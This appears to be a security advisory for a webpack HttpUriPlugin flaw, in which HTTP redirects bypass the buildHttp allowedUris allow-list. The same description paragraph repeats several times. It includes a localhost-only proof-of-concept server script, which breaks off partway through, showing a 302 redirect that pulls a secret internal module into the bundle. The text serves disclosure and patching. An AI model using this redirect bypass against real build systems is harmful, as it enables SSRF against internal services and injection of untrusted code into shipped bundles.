CVE-2025-68157

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host: …

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.

Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0.